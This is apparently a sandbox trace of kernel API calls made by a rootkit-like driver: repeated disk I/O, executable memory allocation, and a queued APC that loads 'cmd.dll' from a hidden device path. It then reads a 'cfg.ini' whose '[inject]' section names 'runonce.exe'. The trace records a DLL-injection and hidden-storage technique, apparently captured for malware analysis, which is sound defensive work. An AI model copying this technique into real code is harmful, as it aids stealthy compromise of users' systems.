0xfffffa8003874560 [0093.149] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003874560 | out: Irp=0xfffffa8003874560) returned 0xfffffa8003239bb0 [0093.149] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0093.149] KeInitializeEvent (in: Event=0xfffff88002f9d230, Type=0x0, State=0 | out: Event=0xfffff88002f9d230) [0093.149] IdePortDispatch () returned 0x103 [0093.150] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003874560 [0093.150] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003874560 | out: Irp=0xfffffa8003874560) returned 0xfffffa8003239bb0 [0093.150] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0093.150] KeInitializeEvent (in: Event=0xfffff88002f9d230, Type=0x0, State=0 | out: Event=0xfffff88002f9d230) [0093.150] IdePortDispatch () returned 0x103 [0093.150] KeWaitForMutexObject () returned 0x0 [0093.150] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003874560 [0093.150] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003874560 | out: Irp=0xfffffa8003874560) returned 0xfffffa8003239bb0 [0093.150] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0093.150] KeInitializeEvent (in: Event=0xfffff88002f9d230, Type=0x0, State=0 | out: Event=0xfffff88002f9d230) [0093.150] IdePortDispatch () returned 0x103 [0093.150] KeWaitForMutexObject () returned 0x0 [0093.150] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003874560 [0093.150] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003874560 | out: Irp=0xfffffa8003874560) returned 0xfffffa8003239bb0 [0093.150] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0093.150] KeInitializeEvent (in: Event=0xfffff88002f9d230, Type=0x0, State=0 | out: Event=0xfffff88002f9d230) [0093.150] IdePortDispatch () returned 0x103 [0093.150] KeWaitForMutexObject () returned 0x0 [0093.150] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003874560 [0093.151] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003874560 | out: Irp=0xfffffa8003874560) returned 0xfffffa8003239bb0 [0093.151] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0093.151] KeInitializeEvent (in: Event=0xfffff88002f9d230, Type=0x0, State=0 | out: Event=0xfffff88002f9d230) [0093.151] IdePortDispatch () returned 0x103 [0093.151] KeWaitForMutexObject () returned 0x0 [0093.151] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003874560 [0093.151] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003874560 | out: Irp=0xfffffa8003874560) returned 0xfffffa8003239bb0 [0093.151] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0093.151] KeInitializeEvent (in: Event=0xfffff88002f9d230, Type=0x0, State=0 | out: Event=0xfffff88002f9d230) [0093.151] IdePortDispatch () returned 0x103 [0093.151] KeWaitForMutexObject () returned 0x0 [0093.151] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003874560 [0093.151] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003874560 | out: Irp=0xfffffa8003874560) returned 0xfffffa8003239bb0 [0093.151] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0093.151] KeInitializeEvent (in: Event=0xfffff88002f9d230, Type=0x0, State=0 | out: Event=0xfffff88002f9d230) [0093.151] IdePortDispatch () returned 0x103 [0093.151] KeWaitForMutexObject () returned 0x0 [0093.151] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003874560 [0093.151] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003874560 | out: Irp=0xfffffa8003874560) returned 0xfffffa8003239bb0 [0093.151] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0093.151] KeInitializeEvent (in: Event=0xfffff88002f9d230, Type=0x0, State=0 | out: Event=0xfffff88002f9d230) [0093.151] IdePortDispatch () returned 0x103 [0093.152] KeWaitForMutexObject () returned 0x0 [0093.152] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003874560 [0093.152] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003874560 | out: Irp=0xfffffa8003874560) returned 0xfffffa8003239bb0 [0093.152] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0093.152] KeInitializeEvent (in: Event=0xfffff88002f9d230, Type=0x0, State=0 | out: Event=0xfffff88002f9d230) [0093.152] IdePortDispatch () returned 0x103 [0093.152] KeWaitForMutexObject () returned 0x0 [0093.152] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003874560 [0093.152] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003874560 | out: Irp=0xfffffa8003874560) returned 0xfffffa8003239bb0 [0093.152] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0093.152] KeInitializeEvent (in: Event=0xfffff88002f9d230, Type=0x0, State=0 | out: Event=0xfffff88002f9d230) [0093.152] IdePortDispatch () returned 0x103 [0093.152] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003874560 [0093.152] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003874560 | out: Irp=0xfffffa8003874560) returned 0xfffffa8003239bb0 [0093.152] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0093.152] KeInitializeEvent (in: Event=0xfffff88002f9d230, Type=0x0, State=0 | out: Event=0xfffff88002f9d230) [0093.152] IdePortDispatch () returned 0x103 [0093.152] KeWaitForMutexObject () returned 0x0 [0093.152] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003874560 [0093.153] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003874560 | out: Irp=0xfffffa8003874560) returned 0xfffffa8003239bb0 [0093.153] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0093.153] KeInitializeEvent (in: Event=0xfffff88002f9d230, Type=0x0, State=0 | out: Event=0xfffff88002f9d230) [0093.153] IdePortDispatch () returned 0x103 [0093.153] KeWaitForMutexObject () returned 0x0 [0093.153] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003874560 [0093.153] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003874560 | out: Irp=0xfffffa8003874560) returned 0xfffffa8003239bb0 [0093.153] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0093.153] KeInitializeEvent (in: Event=0xfffff88002f9d230, Type=0x0, State=0 | out: Event=0xfffff88002f9d230) [0093.153] IdePortDispatch () returned 0x103 [0093.153] KeWaitForMutexObject () returned 0x0 [0093.153] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003874560 [0093.153] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003874560 | out: Irp=0xfffffa8003874560) returned 0xfffffa8003239bb0 [0093.153] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0093.153] KeInitializeEvent (in: Event=0xfffff88002f9d230, Type=0x0, State=0 | out: Event=0xfffff88002f9d230) [0093.153] IdePortDispatch () returned 0x103 [0093.153] KeWaitForMutexObject () returned 0x0 [0093.153] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003874560 [0093.153] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003874560 | out: Irp=0xfffffa8003874560) returned 0xfffffa8003239bb0 [0093.153] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0093.153] KeInitializeEvent (in: Event=0xfffff88002f9d230, Type=0x0, State=0 | out: Event=0xfffff88002f9d230) [0093.153] IdePortDispatch () returned 0x103 [0093.153] KeWaitForMutexObject () returned 0x0 [0093.154] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003874560 [0093.154] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003874560 | out: Irp=0xfffffa8003874560) returned 0xfffffa8003239bb0 [0093.154] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0093.154] KeInitializeEvent (in: Event=0xfffff88002f9d230, Type=0x0, State=0 | out: Event=0xfffff88002f9d230) [0093.154] IdePortDispatch () returned 0x103 [0093.154] KeWaitForMutexObject () returned 0x0 [0093.154] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003874560 [0093.154] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003874560 | out: Irp=0xfffffa8003874560) returned 0xfffffa8003239bb0 [0093.154] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0093.154] KeInitializeEvent (in: Event=0xfffff88002f9d230, Type=0x0, State=0 | out: Event=0xfffff88002f9d230) [0093.154] IdePortDispatch () returned 0x103 [0093.154] KeWaitForMutexObject () returned 0x0 [0093.154] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003874560 [0093.154] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003874560 | out: Irp=0xfffffa8003874560) returned 0xfffffa8003239bb0 [0093.154] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0093.154] KeInitializeEvent (in: Event=0xfffff88002f9d230, Type=0x0, State=0 | out: Event=0xfffff88002f9d230) [0093.154] IdePortDispatch () returned 0x103 [0093.154] KeWaitForMutexObject () returned 0x0 [0093.154] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003874560 [0093.154] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003874560 | out: Irp=0xfffffa8003874560) returned 0xfffffa8003239bb0 [0093.154] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0093.154] KeInitializeEvent (in: Event=0xfffff88002f9d230, Type=0x0, State=0 | out: Event=0xfffff88002f9d230) [0093.155] IdePortDispatch () returned 0x103 [0093.155] KeWaitForMutexObject () returned 0x0 [0093.155] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003874560 [0093.155] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003874560 | out: Irp=0xfffffa8003874560) returned 0xfffffa8003239bb0 [0093.155] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0093.155] KeInitializeEvent (in: Event=0xfffff88002f9d230, Type=0x0, State=0 | out: Event=0xfffff88002f9d230) [0093.155] IdePortDispatch () returned 0x103 [0093.155] KeWaitForMutexObject () returned 0x0 [0093.155] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003874560 [0093.155] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003874560 | out: Irp=0xfffffa8003874560) returned 0xfffffa8003239bb0 [0093.155] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0093.155] KeInitializeEvent (in: Event=0xfffff88002f9d230, Type=0x0, State=0 | out: Event=0xfffff88002f9d230) [0093.155] IdePortDispatch () returned 0x103 [0093.155] KeWaitForMutexObject () returned 0x0 [0093.155] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003874560 [0093.155] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003874560 | out: Irp=0xfffffa8003874560) returned 0xfffffa8003239bb0 [0093.155] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0093.155] KeInitializeEvent (in: Event=0xfffff88002f9d230, Type=0x0, State=0 | out: Event=0xfffff88002f9d230) [0093.155] IdePortDispatch () returned 0x103 [0093.155] KeWaitForMutexObject () returned 0x0 [0093.156] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003874560 [0093.156] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003874560 | out: Irp=0xfffffa8003874560) returned 0xfffffa8003239bb0 [0093.156] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0093.156] KeInitializeEvent (in: Event=0xfffff88002f9d230, Type=0x0, State=0 | out: Event=0xfffff88002f9d230) [0093.156] IdePortDispatch () returned 0x103 [0093.156] KeWaitForMutexObject () returned 0x0 [0093.156] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003874560 [0093.156] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003874560 | out: Irp=0xfffffa8003874560) returned 0xfffffa8003239bb0 [0093.156] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0093.156] KeInitializeEvent (in: Event=0xfffff88002f9d230, Type=0x0, State=0 | out: Event=0xfffff88002f9d230) [0093.156] IdePortDispatch () returned 0x103 [0093.156] KeWaitForMutexObject () returned 0x0 [0093.156] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003874560 [0093.156] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003874560 | out: Irp=0xfffffa8003874560) returned 0xfffffa8003239bb0 [0093.156] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0093.156] KeInitializeEvent (in: Event=0xfffff88002f9d230, Type=0x0, State=0 | out: Event=0xfffff88002f9d230) [0093.156] IdePortDispatch () returned 0x103 [0093.156] KeWaitForMutexObject () returned 0x0 [0093.156] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003874560 [0093.156] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003874560 | out: Irp=0xfffffa8003874560) returned 0xfffffa8003239bb0 [0093.156] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0093.156] KeInitializeEvent (in: Event=0xfffff88002f9d230, Type=0x0, State=0 | out: Event=0xfffff88002f9d230) [0093.157] IdePortDispatch () returned 0x103 [0093.157] KeWaitForMutexObject () returned 0x0 [0093.157] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003874560 [0093.157] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003874560 | out: Irp=0xfffffa8003874560) returned 0xfffffa8003239bb0 [0093.157] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0093.157] KeInitializeEvent (in: Event=0xfffff88002f9d230, Type=0x0, State=0 | out: Event=0xfffff88002f9d230) [0093.157] IdePortDispatch () returned 0x103 [0093.157] KeWaitForMutexObject () returned 0x0 [0093.157] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0093.157] KeLeaveCriticalRegion () [0093.157] IofCompleteRequest (Irp=0xfffffa8003828ee0, PriorityBoost=0) [0093.157] RtlImageNtHeader (BaseAddress=0x10000) returned 0x100f8 [0093.157] RtlImageDirectoryEntryToData (in: BaseAddress=0x10000, MappedAsImage=1, Directory=0x5, Size=0xfffff88002f9dad8 | out: Size=0xfffff88002f9dad8) returned 0x2f2ec [0093.157] ZwAllocateVirtualMemory (in: ProcessHandle=0xffffffff800004f4, BaseAddress=0xfffff88002f9dae8, ZeroBits=0x0, RegionSize=0xfffff88002f9d9f8, AllocationType=0x3000, Protect=0x40 | out: BaseAddress=0xfffff88002f9dae8*=0x30000, RegionSize=0xfffff88002f9d9f8*=0x1000) returned 0x0 [0093.157] _snprintf (in: _Dest=0x30010, _Count=0x103, _Format="\\\\?\\globalroot%S" | out: _Dest="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cmd.dll") returned 47 [0093.157] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x58) returned 0xfffffa8003852c90 [0093.157] PsWrapApcWow64Thread (in: ApcContext=0xfffff88002f9dad8*=0x30000, ApcRoutine=0xfffff88002f9d9d8*=0x30114 | out: ApcContext=0xfffff88002f9dad8*=0x30000, ApcRoutine=0xfffff88002f9d9d8*=0xfffffffffff3fbb0) returned 0x0 [0093.157] KeInitializeApc (Apc=0xfffffa8003852c90, Thread=0xfffffa800379bb60, TargetEnvironment=0x0, KernelRoutine=0xfffffa80027ca950, RundownRoutine=0x0, NormalRoutine=0xfffffffffff3fbb0, Mode=0xfffff88000000001, Context=0x30000) [0093.157] KeInsertQueueApc (Apc=0xfffffa8003852c90, SystemArgument1=0x0, SystemArgument2=0x0, PriorityBoost=0x0) returned 1 [0093.157] ZwUnmapViewOfSection (ProcessHandle=0xffffffffffffffff, BaseAddress=0x7efa0000) returned 0x0 [0093.158] ZwClose (Handle=0x24) returned 0x0 [0093.158] ZwClose (Handle=0xffffffff800004f0) returned 0x0 [0093.158] _snprintf (in: _Dest=0xfffff88002f9d450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cmd.dll") returned 16 [0093.158] KeEnterCriticalRegion () [0093.158] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0093.158] IoGetRequestorProcess (Irp=0xfffffa8003828ee0) returned 0xfffffa80018ab040 [0093.158] FsRtlFastUnlockAll (FileLock=0xfffffa80027daff0, FileObject=0xfffffa8003895520, ProcessId=0xfffffa80018ab040, Context=0x0) returned 0xc000007e [0093.158] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0093.158] KeLeaveCriticalRegion () [0093.158] IofCompleteRequest (Irp=0xfffffa8003828ee0, PriorityBoost=0) [0093.158] KeUnstackDetachProcess (ApcState=0xfffff88002f9da58) [0093.158] PsGetProcessImageFileName () returned 0xfffffa8003878910 [0093.158] RtlInitUnicodeString (in: DestinationString=0xfffff88002f9d7b0, SourceString="\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: DestinationString="\\device\\000001a9\\0d24eb7c\\cfg.ini") [0093.158] ZwCreateFile (in: FileHandle=0xfffff88002f9db18, DesiredAccess=0x100003, ObjectAttributes=0xfffff88002f9d7d8*(Length=0x30, RootDirectory=0x0, ObjectName="\\device\\000001a9\\0d24eb7c\\cfg.ini" (normalized: "\\device\\000001a9\\0d24eb7c\\cfg.ini"), Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0xfffff88002f9d7a0, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x1, CreateDisposition=0x3, CreateOptions=0x22, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0xfffff88002f9db18*=0xffffffff800004f0, IoStatusBlock=0xfffff88002f9d7a0) returned 0x0 [0093.158] _snprintf (in: _Dest=0xfffff88002f9cf10, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0093.158] KeEnterCriticalRegion () [0093.158] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0093.158] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003874560 [0093.158] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003874560 | out: Irp=0xfffffa8003874560) returned 0xfffffa8003239bb0 [0093.158] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0093.158] KeInitializeEvent (in: Event=0xfffff88002f9cd80, Type=0x0, State=0 | out: Event=0xfffff88002f9cd80) [0093.158] IdePortDispatch () returned 0x103 [0093.158] KeWaitForMutexObject () returned 0x0 [0093.158] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0093.158] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0093.158] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0093.158] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0093.158] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0093.158] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8002a427d0 [0093.158] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0093.158] KeLeaveCriticalRegion () [0093.158] IofCompleteRequest (Irp=0xfffffa8003828ee0, PriorityBoost=0) [0093.158] ZwAllocateVirtualMemory (in: ProcessHandle=0xffffffffffffffff, BaseAddress=0xfffff88002f9d880, ZeroBits=0x0, RegionSize=0xfffff88002f9d888, AllocationType=0x3000, Protect=0x4 | out: BaseAddress=0xfffff88002f9d880*=0x90000, RegionSize=0xfffff88002f9d888*=0x1000) returned 0x0 [0093.158] NtLockFile (in: FileHandle=0xffffffff800004f0, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, IoStatusBlock=0x90000, ByteOffset=0x90010, Length=0x90018, Key=0x0, FailImmediatedly=0, ExclusiveLock=1 | out: IoStatusBlock=0x90000) returned 0x0 [0093.158] _snprintf (in: _Dest=0xfffff88002f9d450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0093.158] KeEnterCriticalRegion () [0093.159] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0093.159] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003828ee0, Context=0x0) returned 0x0 [0093.159] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0093.159] KeLeaveCriticalRegion () [0093.159] ZwQueryInformationFile (in: FileHandle=0xffffffff800004f0, IoStatusBlock=0xfffff88002f9d7a0, FileInformation=0xfffff88002f9d7c0, Length=0x18, FileInformationClass=0x5 | out: IoStatusBlock=0xfffff88002f9d7a0, FileInformation=0xfffff88002f9d7c0) returned 0x0 [0093.159] _snprintf (in: _Dest=0xfffff88002f9d250, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0093.159] KeEnterCriticalRegion () [0093.159] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0093.159] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003874560 [0093.159] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003874560 | out: Irp=0xfffffa8003874560) returned 0xfffffa8003239bb0 [0093.159] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0093.159] KeInitializeEvent (in: Event=0xfffff88002f9d0e0, Type=0x0, State=0 | out: Event=0xfffff88002f9d0e0) [0093.159] IdePortDispatch () returned 0x103 [0093.159] KeWaitForMutexObject () returned 0x0 [0093.159] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0093.159] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0093.159] KeLeaveCriticalRegion () [0093.159] IofCompleteRequest (Irp=0xfffffa8003828ee0, PriorityBoost=0) [0093.159] FsRtlAllocatePool (PoolType=0x1, NumberOfBytes=0x1b5) returned 0xfffff8a000a85420 [0093.159] _snprintf (in: _Dest=0xfffff88002f9d9d0, _Count=0x104, _Format="[%s]\r\n" | out: _Dest="[inject]\r\n") returned 10 [0093.159] _strlwr (in: _Str="[inject]\r\n" | out: _Str="[inject]\r\n") returned="[inject]\r\n" [0093.159] _snprintf (in: _Dest=0xfffff88002f9d8c0, _Count=0x104, _Format="%s=" | out: _Dest="runonce.exe=") returned 12 [0093.159] _strlwr (in: _Str="runonce.exe=" | out: _Str="runonce.exe=") returned="runonce.exe=" [0093.159] ZwReadFile (in: FileHandle=0xffffffff800004f0, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0xfffff88002f9d7a0, Buffer=0xfffff8a000a85420, BufferLength=0x1b4, ByteOffset=0x0, Key=0x0 | out: IoStatusBlock=0xfffff88002f9d7a0, Buffer=0xfffff8a000a85420*) returned 0x0 [0093.159] _snprintf (in: _Dest=0xfffff88002f9d230, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0093.159] KeEnterCriticalRegion () [0093.159] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0093.159] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c85420 [0093.159] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003874560 